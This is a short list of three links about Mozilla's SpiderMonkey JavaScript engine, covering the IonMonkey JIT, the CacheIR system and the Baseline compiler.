- https://wiki.mozilla.org/IonMonkey
- https://jandemooij.nl/blog/2017/01/25/cacheir/
- https://blog.mozilla.org/javascript/2013/04/05/the-baseline-compiler-has-landed/